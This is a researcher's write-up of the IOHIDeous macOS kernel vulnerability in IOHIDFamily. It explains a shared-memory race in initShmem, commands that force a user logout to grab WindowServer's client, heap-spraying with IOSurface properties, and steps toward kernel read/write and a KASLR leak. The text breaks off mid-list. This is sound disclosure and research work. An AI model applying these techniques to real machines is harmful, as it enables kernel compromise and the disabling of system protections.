Siguza, 01. Dec 2017 (published 31. Dec 2017)

IOHIDeous

“IOHIDFamily once again.”

Introduction

This is the tale of a macOS-only vulnerability in IOHIDFamily that yields kernel r/w and can be exploited by any unprivileged user.

IOHIDFamily has been notorious in the past for the many race conditions it contained, which ultimately led to large parts of it being rewritten to make use of command gates, as well as large parts being locked down by means of entitlements. I was originally looking through its source in the hope of finding a low-hanging fruit that would let me compromise an iOS kernel, but what I didn’t know then is that some parts of IOHIDFamily exist only on macOS - specifically IOHIDSystem , which contains the vulnerability discussed herein.

The exploit accompanying this write-up consists of three parts:

poc ( make poc )

Targets all macOS versions, crashes the kernel to prove the existence of a memory corruption.

( ) Targets all macOS versions, crashes the kernel to prove the existence of a memory corruption. leak ( make leak )

Targets High Sierra, just to prove that no separate KASLR leak is needed.

( ) Targets High Sierra, just to prove that no separate KASLR leak is needed. hid ( make hid )

Targets Sierra and High Sierra (up to 10.13.1, see README), achieves full kernel r/w and disables SIP to prove that the vulnerability can be exploited by any unprivileged user on all recent versions of macOS.

Note: The ioprint and ioscan utilities I’m using in this write-up are available from my iokit-utils repository. I’m also using my hsp4 kext along with kern-utils to inspect kernel memory.

For any kind of questions or feedback, feel free to hit me up on Twitter or via mail ( *@*.net where * = siguza ).

Technical background

In order to understand the attack surface as well as the vulnerability, you need to know about the involved parts of IOHIDFamily. It starts with the IOHIDSystem class and the UserClients it offers. There are currently three of those:

IOHIDUserClient

IOHIDParamUserClient

IOHIDEventSystemUserClient

(There used to be a fourth, IOHIDStackShotUserClient , but that has been commented out for a while now.) Like almost all UserClients in IOHIDFamily these days, IOHIDEventSystemUserClient requires an entitlement to be spawned ( com.apple.hid.system.user-access-service ), however the other two do not. IOHIDParamUserClient can actually be spawned by any unprivileged process, but of interest to us is IOHIDUserClient , arguably the most powerful of the three, which during normal system operation is held by WindowServer :

bash$ ioprint -d IOHIDUserClient IOHIDUserClient(IOHIDUserClient): (os/kern) successful (0x0) <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>IOUserClientCreator</key> <string>pid 144, WindowServer</string> <key>IOUserClientCrossEndianCompatible</key> <true/> </dict> </plist>

This is an important point because as it turns out, IOHIDSystem restricts the number of IOHIDUserClient s that can exist at any given time to exactly one. This is specifically enforced by the evOpenCalled class variable, which is set to true when an IOHIDUserClient is spawned and to false again when it is closed. This variable is checked in IOHIDSystem::evOpen , which in turn is called from IOHIDSystem::newUserClientGated (so we can’t even race it).

Bottom line, there can only be one IOHIDUserClient at any given moment, and chances are that when your code runs, WindowServer will be long up and running with its UserClient already. So snatching that is not straightforward, but we’ll get to that later. For now we’re gonna look at what it actually uses that UserClient for.

IOHIDSystem / IOHIDUserClient offer some shared memory for an event queue and certain cursor-related data that WindowServer can map into its address space via clientMemoryForType . This memory is split into three parts packed after each other in this order:

The EvOffsets structure.

This structs holds information about where the other parts of the shared memory are located in respect to the beginning of the shared memory (so they’re given as offsets). The definition is: typedef volatile struct _evOffsets { int evGlobalsOffset ; /* Offset to EvGlobals structure */ int evShmemOffset ; /* Offset to private shmem regions */ } EvOffsets ;

The EvGlobals structure.

This is where the event queue and cursor data reside, and this makes up 99% of the shared memory. I’ll omit the lengthy declaration here, you can view it in IOHIDShared.h or see my annotated version in data/evg.c .

structure. This is where the event queue and cursor data reside, and this makes up 99% of the shared memory. I’ll omit the lengthy declaration here, you can view it in or see my annotated version in . Private driver memory.

As far as I can see, this remains unused and has a size of 0 bytes.

In IOHIDSystem , the extensively used EvGlobals address is assigned to an evg class variable, and (even though unused) the address of the private driver memory is similarly assigned to evs .

To initialise that memory, IOHIDSystem offers a createShmem function which IOHIDUserClient implements as external method 0 . Like pretty much any IOHIDFamily interface these days, IOHIDSystem::createShmem is neatly gated to prevent any concurrent access, and the real implementation resides in IOHIDSystem::createShmemGated . On Sierra and earlier that function actually allocated the shared memory if necessary, but since High Sierra (or IOHIDFamily version 1035.1.4) that duty has been shifted to IOHIDSystem::init . Regardless, all code paths eventually end up at IOHIDSystem::initShmem , which is responsible for cleaning and initialising the actual data structures.

And that’s where it gets interesting.

The vulnerability

This is the beginning of IOHIDSystem::initShmem , containing the vulnerability:

int i ; EvOffsets * eop ; int oldFlags = 0 ; /* top of sharedMem is EvOffsets structure */ eop = ( EvOffsets * ) shmem_addr ; if ( ! clean ) { oldFlags = (( EvGlobals * )(( char * ) shmem_addr + sizeof ( EvOffsets ))) -> eventFlags ; } bzero ( ( void * ) shmem_addr , shmem_size ); /* fill in EvOffsets structure */ eop -> evGlobalsOffset = sizeof ( EvOffsets ); eop -> evShmemOffset = eop -> evGlobalsOffset + sizeof ( EvGlobals ); /* find pointers to start of globals and private shmem region */ evg = ( EvGlobals * )(( char * ) shmem_addr + eop -> evGlobalsOffset ); evs = ( void * )(( char * ) shmem_addr + eop -> evShmemOffset );

Can you spot it? What if I told you that this function can be called when the shared memory is already mapped in the calling task, and that EvOffsets is declared as volatile ? :P

The thing is that between this line:

eop -> evGlobalsOffset = sizeof ( EvOffsets );

and this one:

evg = ( EvGlobals * )(( char * ) shmem_addr + eop -> evGlobalsOffset );

The value of eop->evGlobalsOffset can change, which will then cause evg to point to somewhere other than intended.

From looking at the source, this vulnerability seems to have been present at least since as far back as 2002. There also used to be a copyright notice from NeXT Computer, Inc. noting an EventDriver.m - such a file is nowhere to be found on the web, but if the vulnerable code came from there and if the dates in the copyright notice are to be trusted, that would put the origin of the bug even 10 years further back (older than myself!), but I don’t know that so I’m just gonna assume it came to life in 2002.

Putting the exploit together

The fun part. :P

Getting access

Before we can do anything else, we have to look at how we can actually get access to thing we wanna play with, i.e. how we can spawn an IOHIDUserClient when WindowServer is holding the only available one.

The first option I implemented was to just get WindowServer ’s task port and “steal” its client with mach_port_extract_right . Works like a charm, the only problem is that this requires both you to be root and SIP to be disabled.

The next lower option is to simply kill -9 WindowServer . Still requires root, but at least that works with SIP enabled. WindowServer goes down, its UserClient gets cleaned up and we have plenty of time to spawn our own. As a side effect, you’ll also notice the system’s entire graphical interface going down along with WindowServer - so we’re not exactly stealthy at this point.

I did some more digging and found that WindowServer actually lets go of its UserClient for a few seconds when a user logs out - more than enough time for us to grab it. So finally we have something that doesn’t require us to run as root, but merely as the currently logged-in user, since we can easily force a logout with:

launchctl reboot logout

But can we go lower? Can we do this as any unprivileged user? TL;DR: Yes we can!

First, we can try with some AppleScript trickery. loginwindow implements something called “AppleEventReallyLogOut” or “aevtrlgo” for short, which attempts to log the user out without a confirmation dialogue. For reasons of apparent insanity, loginwindow does not seem to verify where this event is coming from, so any unprivileged account such as, say, nobody , can get away with this:

osascript -e 'tell application "loginwindow" to «event aevtrlgo»'

Now, it doesn’t work quite as flawlessly as the previous method. It acts as if the user had actually chosen to log out via the GUI - which means that apps with unsaved changes can still abort the logout, or at least prompt for confirmation (an example for this is Terminal with a running command). In contrast, launchctl just tears down your GUI session without letting anyone say a damn thing. (Another drawback is that we cannot test the success of aevtrlgo , since the call returns while the confirmation popup is still active. This seems like a limitation of AppleScript.)

But second, alternatively to a logout, a shutdown or reboot will do as well. This makes for an interesting possibility: we could write a sleeper program and just wait for conditions to become favourable - I have no access to any statistics, but I’d assume most Macs are eventually shut down or rebooted manually, rather than only ever going down as the result of a panic. And if that assumption holds, then our sleeper will get the chance to run and snatch the UserClient it needs.

So in order to maximise our success rate, we do the following:

Install signal handlers for SIGTERM and SIGHUP . This should buy us at least a few seconds after a logout/shutdown/reboot has been initiated. Run launchctl reboot logout . If the former failed, run osascript -e 'tell application "loginwindow" to «event aevtrlgo»' . Try spawning the desired UserClient repeatedly. Whether we succeeded in logging the user out doesn’t matter at this point, we’ll just wait for a manual logout/shutdown/reboot if not. So as long as the return value of IOServiceOpen is kIOReturnBusy , we keep looping.

This is implemented in src/hid/obtain.c with some parts residing in src/hid/main.c .

Triggering the bug

With access secured, we can get to triggering our bug. It’s obvious that we can be lucky enough to modify eop->evGlobalsOffset just in the right moment - but how likely is that, and what can go wrong? There are three possible outcomes:

We lose the race, i.e. evg is set to what IOHIDFamily intends it to be.

is set to what IOHIDFamily intends it to be. We win the race, manage to offset evg , and evg now points to a data structure we placed on the heap.

, and now points to a data structure we placed on the heap. We win the race, but evg lands in something other than we intended.

The last case will probably cause a panic sooner (unmapped memory) or later (corruption of some data structure). Luckily I’ve had this happen only very rarely. Because of that, and because we cannot repair any such corruption anyway, we’re just gonna focus on the other two cases. The first one is undesirable but unproblematic (we can just try again), and the second one is the one we want. Thanks to the initialisation performed by IOHIDSystem , we can even detect which of those happened: first the entire shared memory (using the correct address) is bzero ‘ed, and afterwards many fields are set (with the offset address), some of which hold a constant value != 0 . After calling the initialisation routine, we can query any such field and if it holds 0 , evg was offset, otherwise it was not. I chose the version field in my implementation.

In conclusion:

In one thread, we just spam a value to eop->evGlobalsOffset .

. In another thread, we call the initialisation routine until evg->version == 0 .

This is implemented in src/hid/exploit.c . A minimal standalone implementation also exists in src/poc/main.c .

Shmem basics

Now that we can trigger our memory corruption, what exactly can we do with it? First we’ll look at how big of a corruption we can actually cause. eop->evGlobalsOffset is of type (signed) int , so we can offset evg by INT_MAX bytes in either direction. That’s quite a lot.

Next we’ll look at the structure’s size. Since it’s exported to userland, we can just include an IOKit header and do some sizeof :

// gcc -o t t.c -Wall -framework IOKit #include <stdio.h> #include <IOKit/hidsystem/IOHIDShared.h> int main ( void ) { printf ( "0x%lx

" , sizeof ( EvOffsets ) + sizeof ( EvGlobals )); return 0 ; }

From Sierra 10.12.0 all through High Sierra 10.13.1, that yields 0x5ae8 . That’s also quite a lot… in other words, we can slap one monster of a memory structure an entire two gigabytes back and forth through memory (that’s what inspired the name “IOHIDeous”).

Now, a priori we know neither where this structure resides, nor where any other kernel memory lies in respect to it. So far we only know that it is allocated via an IOBufferMemoryDescriptor , which for kIOMemoryKernelUserShared goes through iopa_alloc , and subsequently maps the memory into the provided task, if any - in this case the kernel_task , so the mapping ends up on the kernel_map . Knowing its sharing type and (rounded) size, we can easily find it with kmap :

bash$ sudo kmap -e | fgrep 24K | fgrep 'mem tru' ffffff8209855000-ffffff820985b000 [ 24K] -rw-/-rwx [mem tru cp] 0000000000000000 [0 0 0 0 0] 00000031/823e0c11:< 4> 0,0 { 6, 6} (dynamic)

Running this a couple of times on Sierra yields addresses like:

ffffff91ec867000 ffffff91f3ec2000 ffffff91f48f3000 ffffff91f6a2c000 ffffff91f828a000 ffffff91fc02a000 ffffff91fe160000 ffffff91fe6b3000 ffffff91ffc8a000 ffffff9209150000 ffffff92103a8000 ffffff9211be0000 ffffff9213141000 ffffff9215c04000 ffffff921a2ce000 ffffff921bf03000

And on High Sierra:

ffffff8116089000 ffffff8119735000 ffffff812a681000 ffffff81ec925000 ffffff81efedd000 ffffff82005cd000 ffffff820383d000 ffffff8205531000 ffffff82096c0000

This doesn’t give us much, since these just look like arbitrary locations on the heap. In order to do further statistics, we need to know what we’re looking for. It seems extremely unlikely that there would be some structure at a fixed offset from our shared memory, so our best bet is most likely to make a lot of allocations so as to place a certain structure at a fixed offset.

So let’s look at where allocations go. The prime kernel memory allocator used by virtually all of IOKit is kalloc . Allocations smaller or equal to two page sizes ( 0x2000 on x86(_64) , 0x8000 on arm(64) ), are passed on to zalloc with a corresponding kalloc.X zone handle. Allocations larger than two page sizes to go the kalloc_map first, and if that becomes full, directly to the kernel_map (allocations a lot larger than two page sizes go directly to the kernel_map , but that doesn’t affect us here).

So we’ve got two possible targets: the kalloc_map and the kernel_map .

We’ll first look at the kernel_map - that is, the entire virtual address space of the kernel. Unlike the zalloc zones, maps employ no freelists, so allocations can happen practically anywhere. However, unless explicitly told not to, the vm_map_* functions (through which both kalloc and IOMemoryDescriptor go) always put allocations in the lowest free address gap large enough for them. This doesn’t just mean that it’s likely that allocations we make are placed next to each other, but also that our shared memory was mapped in the same manner, and that the further we offset from it, the more likely an address is to still be free (so we could spray there). On Sierra that translates quite nicely into practice, but on High Sierra I found this way barred by the fact that my own allocations would happen at ffffff92... addresses while the shared memory resided around ffffff82... . I tracked this back mainly to a 64GB large mapping between the two:

bash$ sudo kmap -e | fgrep '64G' ffffff820c115000-ffffff920c355000 [ 64G] -rw-/-rwx [map prv cp] ffffff820c115000 [0 0 0 0 0] 0000000e/82656611:< 2> 0,0 { 0, 0} VM compressor

As is evident from its tag, this monster map belongs to the virtual memory compressor. It also exists on Sierra, but there our shared memory sits after it whereas on High Sierra it sits before it. This is most likely the result of IOHIDSystem allocating the shared memory in IOHIDSystem::init now, which is called much earlier than IOHIDSystem::createShmem ever could be. So, kernel_map : hot for Sierra, not for High Sierra.

What about the kalloc_map then? This is a submap of the kernel_map with a fixed size, specifically a 32nd of the physical memory size (i.e. 16GB -> 512MB). On Sierra it is identifiable by its exact size and the fact that it is a map , while on High Sierra it even got its own tag:

bash$ sudo kmap -e | fgrep 'Kalloc' ffffff81bca61000-ffffff81dca61000 [ 512M] -rw-/-rwx [map prv cp] ffffff81bca61000 [0 0 0 0 0] 0000000d/66b19131:< 2> 0,0 { 0, 0} Kalloc

Now that address looks like it could well be in range of our shared memory! I’ve done a couple of probes across reboots, and have sorted them by the distance between the kalloc map and our shared memory, for memory sizes of 8GB and 16GB (the memsize=N boot-arg is wicked useful for that):

10.13 8G shmem kalloc start kalloc end start diff end diff ffffff812a681000 ffffff80f0cd4000 ffffff8100cd4000 00000000399ad000 00000000299ad000 ffffff8116089000 ffffff80dc695000 ffffff80ec695000 00000000399f4000 00000000299f4000 ffffff8119735000 ffffff80dfd24000 ffffff80efd24000 0000000039a11000 0000000029a11000 10.13 16G shmem kalloc start kalloc end start diff end diff ffffff82096c0000 ffffff81bc97c000 ffffff81dc97c000 000000004cd44000 000000002cd44000 ffffff8205531000 ffffff81b87ec000 ffffff81d87ec000 000000004cd45000 000000002cd45000 ffffff82005cd000 ffffff81b37e5000 ffffff81d37e5000 000000004cde8000 000000002cde8000 ffffff81ec925000 ffffff819fb38000 ffffff81bfb38000 000000004cded000 000000002cded000 ffffff820383d000 ffffff81b6a48000 ffffff81d6a48000 000000004cdf5000 000000002cdf5000 ffffff81efedd000 ffffff81a30df000 ffffff81c30df000 000000004cdfe000 000000002cdfe000

Nice, all differences are less than the 2GB we can offset! (Note that the kalloc addresses are lower than the shmem ones, so 1. the differences are negative and 2. we’re really lucky to have our offset value signed . :P) I’ve done the same statistics on Sierra as well (see data/shmem.txt ), but there all differences are larger than 64GB (as is to be expected). So on High Sierra we’ll go for the kalloc_map .

Now that we have our targets set, we can look at how to maximise the chance of landing in a structure sprayed by us. On both maps, allocations usually happen at the lowest possible address, so the higher an address, the less likely it should be to have been previously allocated, i.e. the more likely it should be to be allocated by us.

For Sierra/the kernel_map this yields the strategy:

Fill the kalloc_map . Make >2GB worth of allocations on the kernel_map . Offset evg by 2GB. Read or corrupt the structure at that offset.

And for High Sierra/the kalloc_map :

Fill the kalloc_map . Offset evg by ca. -0x30000000 . Read or corrupt the structure at that offset.

Notes:

sysctlbyname("hw.memsize") reveals the system memory size, from which the size of the kalloc_map can be derived.

reveals the system memory size, from which the size of the can be derived. The value -0x30000000 is quite arbitrary. In order to land inside the kalloc_map , we need a negative offset that is larger than the biggest possible difference between the end of the kalloc_map and the beginning of our shared memory, but which is also smaller than the smallest possible difference between the beginning of the kalloc_map and the beginning of our shared memory. Ideally it should also be as small as possible, so that we land closer to the end of the map. With biggest and smallest observed differences being -0x2cdfe000 and -0x399ad000 , I have chosen -0x30000000 as a conservative guess. It is most likely possible to derive a more fitting value based on the actual memory size (which seems to affect the differences) by doing a lot more statistics, but I eventually grew tired of rebooting, and -0x30000000 works just fine for me - you can change KALLOC_OFFSET_AMOUNT in src/hid/config.h if you like a different value better.

is quite arbitrary. In order to land inside the , we need a negative offset that is larger than the biggest possible difference between the end of the and the beginning of our shared memory, but which is also smaller than the smallest possible difference between the beginning of the and the beginning of our shared memory. Ideally it should also be as small as possible, so that we land closer to the end of the map. With biggest and smallest observed differences being and , I have chosen as a conservative guess. It is most likely possible to derive a more fitting value based on the actual memory size (which seems to affect the differences) by doing a lot more statistics, but I eventually grew tired of rebooting, and works just fine for me - you can change in if you like a different value better. Making 2GB worth of allocations takes well over 10 minutes on my machine, which is longer than I like to wait. I have found that allocating just 768MB and offsetting by a little bit less than that still worked every time for me though. I have added both configurations to src/hid/config.h with 768MB being the default, and 2GB being selectable through a -DPLAY_IT_SAFE compiler flag.

Reading and writing memory

First of all we have the general problem that we don’t know whether offsetting evg by a certain amount places it at the beginning of a sprayed memory structure or somewhere in the middle of it. We do know that allocations start at page boundaries though (including our shared memory), are rounded up to a multiple of the page size, and must be bigger than 0x2000 . If nothing else helps, we can spray objects of size 0x3000 and then there will be only three possible offsets: x , x + 0x1000 and x + 0x2000 . So if we can perform our read or write operation multiple times in sequence, we can just do it three times at all offsets. If we can’t do that, at least we still get a 1 in 3 chance of getting it right.

Now, writing memory is quite easy, at least as much as 4 bytes are concerned. IOHIDSystem::initShmem takes a single argument bool clean , which is false if the memory has previously existed already, and which is used as follows:

int oldFlags = 0 ; // ... if ( ! clean ) { oldFlags = (( EvGlobals * )(( char * ) shmem_addr + sizeof ( EvOffsets ))) -> eventFlags ; } // ... evg -> eventFlags = oldFlags ;

So writing 4 bytes is a simple as:

Put our data in eventFlags . Offset evg .

And we have our 4 bytes copied. (Note that shmem_addr is used as source rather than evg , so we cannot copy anything other than the true eventFlags .) Of course the other few dozen kilobytes of memory belonging to the structure are quite a an obstacle if we want to rewrite pointers, as they threaten to lay waste to everything in the vicinity. It turns out that there are quite a lot of gaps though which are left untouched by initialisation and if special care is taken, this method can actually suffice. (Note that the call to bzero in initShmem also uses shmem_addr as argument rather than evg , so it does no harm either to the memory we offset to.)

This is implemented in src/hid/exploit.c .

For reading memory it is kind of a fundamental requirement though that we don’t destroy the target structure, and the same could also still prove very useful for writing. With initialisation pretty much out of our control, the only way we can achieve this is if the initialisation of the target memory happens after the initialisation and offsetting of our shared memory. In most cases this means we have to reallocate the target objects after offsetting evg , but we could also have a buffer that is (re-)filled long after its allocation. The general idea is:

Make a lot of kalloc allocations using objects whose corruption has no bad consequence (e.g. buffers). Offset evg . Reallocate the memory intersecting evg (possibly using different objects). Perform some read or write operation (we’ll get to that in a bit).

Point 3 is a bit tricky to pull off, since there is no general way of telling which objects exactly intersect with evg . A naive implementation would just reallocate all sprayed objects - which works, but has terrible performance. So, it’s time for some heap feng shui! The IOSurface API offers a way to “attach CF property list types to an IOSurface buffer” - more precisely, you can store arbitrarily many results of OSUnserializeXML in kernelland, as well as read those back or delete them at any time. Seems like freaking made for our cause! Using that, we can do the following:

Create an IOSurface . Spray the heap by attaching lots of OSString s to the surface. Offset evg . Read back the stored strings. Detect where evg initialisation happened. Possibly reposition evg for alignment. Free the intersecting string(s). Reallocate the memory with a useful data structure. Read from or write to that structure.

Two notes regarding the use of OSString :

I would’ve used OSData , but it turns out that one has been changed to use kmem_alloc(kernel_map) rather than kalloc for allocations larger than one page. In other words, OSData buffers will never go to the kalloc_map anymore. The serialised format of an OSString does not contain a null terminator (unlike OSSymbol ), however one is added when instantiating/unserialising it. Thus to occupy N bytes, the serialised length has to actually be N-1 .

And a note regarding IOSurface properties: the exported API only supports CF objects, but for fine-grained control over the data we send as well as for increased performance, I want to use the binary data format directly. For that I go through IOKit functions rather than IOSurface ones, which involves four external method invocations on an IOSurfaceRootUserClient :

External method 0 .

This creates a new IOSurface . As struct input it takes serialised plist properties that specify the surface’s attributes (same as what you’d pass to IOSurfaceCreate ) and as struct output it returns some data of which I only know that it contains an identifier at offset 0x10 . The kernel declares this output as having a max size of 0x6c8 bytes, so I just use this construct: union { char _padding [ 0x6c8 ]; struct { mach_vm_address_t _pad [ 2 ]; uint32_t id ; } data ; } surface ; Whether that field is truly the surface’s ID I don’t know, but we have to pass that value to other functions later in order to specify the surface we wanna operate on.

External method 9 .

This attaches a single property with a name to a surface. As struct input it takes serialised plist data, except that they’re prefixed with an 8-byte header where the first 4 bytes are the “ID” from above, and the remaining 4 bytes are likely just padding. The property and its name are expected to be contained in a top-level array, with the property being at index 0 and the name at index 1 . It has a 4-byte struct output, but I have no idea what that is.

. This attaches a single property with a name to a surface. As struct input it takes serialised plist data, except that they’re prefixed with an 8-byte header where the first 4 bytes are the “ID” from above, and the remaining 4 bytes are likely just padding. The property and its name are expected to be contained in a top-level array, with the property being at index and the name at index . It has a 4-byte struct output, but I have no idea what that is. External method 10 .

This serialises and retrieves either a single named property, or all properties if no name is given. As struct input this method takes the same header as before, but instead of serialised plist data it just takes the property’s name as null-terminated C string. As struct output it returns the serialised property (or properties) in binary format.

. This serialises and retrieves either a single named property, or all properties if no name is given. As struct input this method takes the same header as before, but instead of serialised plist data it just takes the property’s name as null-terminated C string. As struct output it returns the serialised property (or properties) in binary format. External method 11 .

This deletes a named property. Struct input is the same as for retrieving a property, and struct output is again 4 bytes whose meaning I don’t know.

With that settled, let’s look at how we can read and write memory after evg has been moved already.

Writing is much simpler so I’ll do that first. We’ll just use eventFlags again, since there’s such a nice function for it:

void IOHIDSystem :: updateEventFlagsGated ( unsigned flags , OSObject * sender __unused ) { if ( eventsOpen ) { evg -> eventFlags = ( evg -> eventFlags & ~ KEYBOARD_FLAGSMASK ) | ( flags & KEYBOARD_FLAGSMASK ); nanoseconds_to_absolutetime ( 0 , & clickTime ); } }

Unlike most other API functions, this isn’t exported as an external method of any UserClient, but is instead handled in setProperties :

IOReturn IOHIDSystem :: setProperties ( OSObject * properties ) { OSDictionary * dict ; IOReturn ret = kIOReturnSuccess ; dict = OSDynamicCast ( OSDictionary , properties ); if ( dict ) { // ... OSNumber * modifiersValue = OSDynamicCast ( OSNumber , dict -> getObject ( kIOHIDKeyboardGlobalModifiersKey )); if ( modifiersValue ) { updateEventFlags ( modifiersValue -> unsigned32BitValue ()); return ret ; } // ... } // ... return ret ; }

updateEventFlags does some indirection through an event queue as well as a command gate, but ultimately arrives at updateEventFlagsGated , and kIOHIDKeyboardGlobalModifiersKey is just the string "HIDKeyboardGlobalModifiers" , so that call is simple enough to do. One thing remains though, how much does that bitmasking in updateEventFlagsGated restrain us? KEYBOARD_FLAGSMASK is the OR-product of a lot of other constants:

#define KEYBOARD_FLAGSMASK \ (NX_ALPHASHIFTMASK | NX_SHIFTMASK | NX_CONTROLMASK | NX_ALTERNATEMASK \ | NX_COMMANDMASK | NX_NUMERICPADMASK | NX_HELPMASK | NX_SECONDARYFNMASK \ | NX_DEVICELSHIFTKEYMASK | NX_DEVICERSHIFTKEYMASK | NX_DEVICELCMDKEYMASK \ | NX_ALPHASHIFT_STATELESS_MASK | NX_DEVICE_ALPHASHIFT_STATELESS_MASK \ | NX_DEVICERCMDKEYMASK | NX_DEVICELALTKEYMASK | NX_DEVICERALTKEYMASK \ | NX_DEVICELCTLKEYMASK | NX_DEVICERCTLKEYMASK)

I’ve created a separate program in data/flags.c to print that constant, which gave me a value of 0x01ff20ff . That looks too restrictive to actually write arbitrary pointers or data, but considering the fact that evg->eventFlags & ~KEYBOARD_FLAGSMASK is retained, it might just be enough to modify something existing in a useful way.

Now onto reading! This one is a fair bit trickier because most code that reads from evg either doesn’t export that data elsewhere (which makes sense, since the client should have access to it through shared memory already), or it is ridiculously hard to trigger. For example, a call to evDispatch can cause the upper 24 bits of each the x and y components of evg->screenCursorFixed to be copied to the shared memory of an IOFramebuffer . That shared memory is readily accessible to us through the IOFramebufferSharedUserClient , however in order for the values to actually be copied there, the frame buffer need to have been previously attached to IOHIDSystem via a call to IOHIDUserClient::connectClient , evg->frame (which we don’t control) has to be between 0 and 3 (inclusive), the cursor has to be on the screen represented by the IOFramebuffer , and evDispatch actually has to be called. All in all, hardly ideal.

There is one thing though that reads from and, as it happens, also writes to evg : _cursorHelper . This instance of IOHIDSystemCursorHelper is used for both coordinate system arithmetic as well as conversion between the fields evg->cursorLoc , evg->screenCursorFixed and evg->desktopCursorFixed . What’s important for us is that is has its own separate storage, so it can act as a cache to some extent. If we can use that to read a value from evg at one time and write it back at another, we can copy small amounts of memory to the actual shared memory we have mapped in our task. Now, the “writing back” part is easy enough, if we just look at IOHIDSystem::initShmem :

evg -> cursorLoc . x = _cursorHelper . desktopLocation (). xValue (). as32 (); evg -> cursorLoc . y = _cursorHelper . desktopLocation (). yValue (). as32 (); evg -> desktopCursorFixed . x = _cursorHelper . desktopLocation (). xValue (). asFixed24x8 (); evg -> desktopCursorFixed . y = _cursorHelper . desktopLocation (). yValue (). asFixed24x8 (); evg -> screenCursorFixed . x = _cursorHelper . getScreenLocation (). xValue (). asFixed24x8 (); evg -> screenCursorFixed . y = _cursorHelper . getScreenLocation (). yValue (). asFixed24x8 ();

As for reading, we’ve got three candidates:

evg->screenCursorFixed is only read to be sent to IOFramebuffer , otherwise it’s only ever written, so it’s useless to us.

is only read to be sent to , otherwise it’s only ever written, so it’s useless to us. evg->desktopCursorFixed is only read from in IOHIDSystem::_setCursorPosition if !(cursorCoupled || external) (any externally triggered call will have external = true ) and in IOHIDSystem::resetCursor if evg->updateCursorPositionFromFixed is true (which we don’t control if evg is offset).

is only read from in if (any externally triggered call will have ) and in if is true (which we don’t control if is offset). evg->cursorLoc , at last, is actually useful: it is passed to setCursorPosition , where it is stored unchanged in _cursorHelper : void IOHIDSystem :: setCursorPosition ( IOGPoint * newLoc , bool external , OSObject * sender ) { if ( eventsOpen == true ) { clock_get_uptime ( & _cursorEventLast ); _cursorHelper . desktopLocationDelta (). xValue () += ( newLoc -> x - _cursorHelper . desktopLocation (). xValue ()); _cursorHelper . desktopLocationDelta (). yValue () += ( newLoc -> y - _cursorHelper . desktopLocation (). yValue ()); _cursorHelper . desktopLocation (). fromIntFloor ( newLoc -> x , newLoc -> y ); _setCursorPosition ( external , false , sender ); _cursorMoveLast = _cursorEventLast ; scheduleNextPeriodicEvent (); } }

Ok, so how can we reach this code path? setCursorPosition is called in two places: unregisterScreenGated and setDisplayBoundsGated . And now this requires some background:

IOHIDSystem has a notion of virtual screens on which the cursor can be - there are methods to create and destroy such screens, and to set their bounds. All those functions are exported as external methods of IOHIDUserClient , meaning they are readily accessible to us. So in order to read 4 bytes from a memory structure, we have to:

Register a virtual screen. Allocate an IOSurface . Spray the heap by attaching lots of OSString s to the surface. Offset evg . Read back the stored strings. Detect where evg initialisation happened. Possibly reposition evg for alignment. Free the intersecting string(s). Reallocate the memory with a useful data structure. Update the bounds of our virtual screen. Re-initialise evg back on actual shared memory. Read the copied value off shared memory.

The cursor problem

In addition to all that work, we have to take special care of something else: evg->screenCursorFixed and evg->desktopCursorFixed . Reading from evg->cursorLoc may cause these two fields to be written to (that’s what I’m calling the cursor problem). Specifically, _setCursorPosition will be called with external = true . First it will reach this point:

if ( OSSpinLockTry ( & evg -> cursorSema ) == 0 ) { // host using shmem // try again later return ; }

So if evg->cursorSema falls on a non-zero value, _setCursorPosition will abort and we’ll be safe. Otherwise however, we will arrive at the following block of code:

if (( _cursorHelper . desktopLocation (). xValue (). asFixed24x8 () == evg -> desktopCursorFixed . x ) && ( _cursorHelper . desktopLocation (). yValue (). asFixed24x8 () == evg -> desktopCursorFixed . y ) && ( proximityChange == 0 ) && ( ! _cursorHelper . desktopLocationDelta ())) { cursorMoved = false ; // mouse moved, but cursor didn't } else { evg -> cursorLoc . x = _cursorHelper . desktopLocation (). xValue (). as32 (); evg -> cursorLoc . y = _cursorHelper . desktopLocation (). yValue (). as32 (); evg -> desktopCursorFixed . x = _cursorHelper . desktopLocation (). xValue (). asFixed24x8 (); evg -> desktopCursorFixed . y = _cursorHelper . desktopLocation (). yValue (). asFixed24x8 (); if ( pinScreen >= 0 ) { _cursorHelper . updateScreenLocation ( screen [ pinScreen ]. desktopBounds , screen [ pinScreen ]. displayBounds ); } else { _cursorHelper . updateScreenLocation ( NULL , NULL ); } evg -> screenCursorFixed . x = _cursorHelper . getScreenLocation (). xValue (). asFixed24x8 (); evg -> screenCursorFixed . y = _cursorHelper . getScreenLocation (). yValue (). asFixed24x8 (); // ... }

The if block is very unlikely to be entered since _cursorHelper has just been updated with the values from evg->cursorLoc , which are in my experience very unlikely to match those of evg->desktopCursorFixed (at least if they’re useful in any way). If the else branch is entered, evg->desktopCursorFixed and evg->screenCursorFixed will be written to. Basically if evg->cursorSema == 0 , evg->desktopCursorFixed and evg->screenCursorFixed will be written to. This may or may not be a problem, depending on the memory structure we’re intersecting with.

Sounds like fun! :P

Leaking the kernel slide, the tedious way

No matter what we wanna do to the kernel, at some point we’re gonna have to defeat KASLR and learn the kernel slide. If we intend to run some ROP, we need that pretty early on even. So how do we get there?

The prime candidates for revealing the kernel slide are usually pointers in some dynamically allocated structures, which point back to the main kernel binary, often to functions, strings, or C++ vtables. With our ability to read 4 bytes of memory off a choosable memory structure, that sounds pretty easy. That is, until you realise that virtually all of those structures are small enough to be handled by zalloc, i.e. we cannot get them to the kalloc_map or the kernel_map . In fact, I have yet to learn of any object that is or can be made large enough to not be handled by zalloc, and which contains any pointers to the main kernel binary whatsoever. If you know of one, please do tell me!

But let’s not despair over that, and instead have a look at what structures we can allocate onto the kalloc_map or the kernel_map . Here’s a list of the ones I know, quite possibly incomplete:

Data buffers. Examples include OSString or some forms of IOBufferMemoryDescriptor .

or some forms of . Pointer arrays. Examples are the “buffers” allocated by OSArray and OSDictionary .

and . struct ipc_kmsg . The container within which mach messages are wrapped.

